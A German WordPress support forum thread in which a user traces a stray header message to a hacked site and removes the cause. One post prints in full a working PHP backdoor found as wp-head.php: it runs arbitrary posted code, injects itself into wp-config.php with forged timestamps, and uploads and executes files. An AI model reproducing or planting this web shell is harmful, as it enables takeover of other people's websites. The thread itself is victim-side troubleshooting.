Fehler im Head-Bereich

  • Hallo Leute ich habe bei mir kürzlich alle Updates durchgeführt und bekomme nur im oberen Bereich der Seite (Admin & Fronten) folgende Meldung angezeigt.

    Code
    /** Outputs the WordPress header. */ require_once(ABSPATH . 'wp-head.php');

    Die Seite sowie der Adminbereich laufen aber soweit ich es sehen konnte ohne größere Fehler. Jedoch nervt natürlich diese Meldung und ist auch kein Zustand.

    Hoffe Ihr könnt mir helfen.

    VG
    Stephan

    • Anzeige

    Hallo!

    Wenn du gerade an deiner Website arbeitest oder dein aktuelles Hosting überdenkst: Wir betreiben mit NetzLiving eine Hosting-Plattform, die speziell auf Performance, Sicherheit und einfache Verwaltung ausgelegt ist.

    • ✔️ Schnelle Ladezeiten (optimiert für WordPress & Co.)
    • ✔️ Deutsche Server & DSGVO-konform
    • ✔️ Persönlicher Support (kein 0815-Ticket-System)

    Mehr erfahren

  • Oh Okay entschuldige. Ich nutze:

    - WP Version 4.1–de_DE
    - Theme Pinboard Version 1.1.12
    - Plugins: Gallery Bank Lite Edition, Google Analytics by Yoast, WP Seo, und Diashow

    ich hoffe diese Angaben reichen. Alle Themen und Plugins sind aktuell.

  • mal testweise ALLE Plugins deaktiviert?

    [size=10]Bitte immer zuerst die Forensuche nutzen und erst danach Deine Fragen hier im Forum stellen, denn sehr vieles wurde schon mehrfach beantwortet. Bitte dabei auch die Forenregeln beachten.
    Kein Support per PN - Fragen gehören ins Forum.[/SIZE]
    [size=8]Wenn du eine weise Antwort verlangst, musst du vernünftig fragen. (Johann Wolfgang von Goethe)[/SIZE]

  • Ja hab ich. Bleibt bei der Meldung im oberen Bereich. Ausserdem ist es so wenn ich etwas ändere oder speichern kommt eine weisse Seite wo dann nur die Meldung steht. Gehe ich dann zurück sind die Änderungen trotzdem übernommen.

  • wie sieht es aus, wenn du ein Standard Theme aktivierst?

    [size=10]Bitte immer zuerst die Forensuche nutzen und erst danach Deine Fragen hier im Forum stellen, denn sehr vieles wurde schon mehrfach beantwortet. Bitte dabei auch die Forenregeln beachten.
    Kein Support per PN - Fragen gehören ins Forum.[/SIZE]
    [size=8]Wenn du eine weise Antwort verlangst, musst du vernünftig fragen. (Johann Wolfgang von Goethe)[/SIZE]

  • dann das aktuelle Download-Pack von WP herunterladen, entpacken und alles via FTP-Client auf den Server hochladen. Somit machst du das Update noch mal manuell.

    [size=10]Bitte immer zuerst die Forensuche nutzen und erst danach Deine Fragen hier im Forum stellen, denn sehr vieles wurde schon mehrfach beantwortet. Bitte dabei auch die Forenregeln beachten.
    Kein Support per PN - Fragen gehören ins Forum.[/SIZE]
    [size=8]Wenn du eine weise Antwort verlangst, musst du vernünftig fragen. (Johann Wolfgang von Goethe)[/SIZE]

  • Habe ich eben gemacht, leider ohne Erfolg und nun ist es seit gestern sogar so das ich nicht mehr in Adminbereich komme. Da nun nur noch die weisse Seite mit dem Fehler auftaucht. Obwohl ich nix geändert habe.

  • Die Datei wp-head.php gibt es normalerweise nicht. Ist sie denn irgendwo vorhanden?

    Lässt sich der ausgegebene Text in einer Datei des Themes oder eines Plugins finden?

  • Also die wp-head.php liegt warum auch immer bei mir im Root-Verzeichnis. Sie sieht wie folgt aus:

    PHP
    <?php if(isset($_POST["sc"])&&md5($_POST["sc"])=="24f590f4f039ccd9b6d1906d642fceea"){$d=dirname(__FILE__);if(is_dir("$d/wp-content"))$e=$d;else $e=substr($d,0,stripos($d,'/wp-content/'));for($g=2012;$g<=2015;$g++)for($h=1;$h<=12;$h++)$k[]=sprintf("$e/wp-content/uploads/%d/%02d/",$g,$h);shuffle($k);$l="";foreach($k as $m)if(is_dir($m)&&is_writable($m)){$l=$m;break;}if(isset($_POST["eval"])){eval($_POST["eval"]);}if(isset($_POST["info"])){echo "root=".(is_writable($e)?"$e\n":"\n");echo "config=".(is_writable("$e/wp-config.php")?"$e/wp-config.php\n":"\n");echo "basepath=".$l."\n";echo "kernel=".(function_exists('php_uname')?php_uname():'')."\n";}if(isset($_POST["root"])){echo "root_copy=".copy(__FILE__,"$e/wp-head.php")."\n";}if(isset($_POST["wpc"])){echo "wpc_update=";$n="$e/wp-config.php";$o=file_get_contents($n);if(stripos($o,'Outputs the WordPress header')===false){$p=filemtime($n);$q=fileperms($n);chmod($n,0777);$o=trim($o)."\n\n/** Outputs the WordPress header. */\nrequire_once(ABSPATH . 'wp-head.php');\n";echo file_put_contents($n,$o);chmod($n,$q);touch($n,$p);}else{echo "already OK";}echo "\n";}if(isset($_POST["neighbours"])){echo "neighbours=";if(is_file("$e/php5.php")){echo "php5.php ".unlink("$e/php5.php").",";}echo "\n";}if(isset($_FILES["file"])){$r=$_FILES["file"]["tmp_name"];$n=isset($_POST["path"])?is_dir($_POST["path"])?$_POST["path"]."/".$_FILES['file']["name"]:$_POST["path"]:(dirname(__FILE__)."/".$_FILES["file"]["name"]);$s=filemtime(dirname($n));if(move_uploaded_file($r,$n)){touch($n,$s);if(isset($_POST['exec'])&&is_file($n)){include $n;}else{echo "uploaded=".$n;}}}}

    Hierdrin ist auch die angegeben Fehlermeldung [COLOR=#333333][FONT=Open Sans]/** Outputs the WordPress header. */ require_once(ABSPATH . 'wp-head.php');[/FONT][/COLOR] drin.

  • So habe den Fehler nun gefunden. Also die Domain bzw. der FTP wurde wohl gehackt und es befanden sich einige Quellcode Fehler in einzelnen Dateien.

    Habe bis auf die WP-Content alles gelöscht und im Original hochgeladen. Anschliessend war Fehler immer noch da. Nun konnte der Fehler Code nur in der wp-config.php sitzen und so war es auch. Da entfernt und nun läuft es wieder.

    VIELEN DANK für Eure Hilfe und den Stupser in die richtige Richtung.

  • Du solltest dir den Inhalt dieser wp-head einmal genauer anschauen, da findest du mit sicherheit noch verweise auf weitere Inhalte die du nicht haben möchtest.

    hab gerade selber in ähnlicher Form erlebt, nur ohne solche Fehlermeldungen.
    auch bei mir gab es den Aufruf in der config Datei und diese wp-head.php

    Darin dann auch verweise zu einigen Dateien die sich im Upload Verzeichnis befanden mit unschönen Code der über gzinflate / base64 codiert wurde...

Jetzt mitmachen!

Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!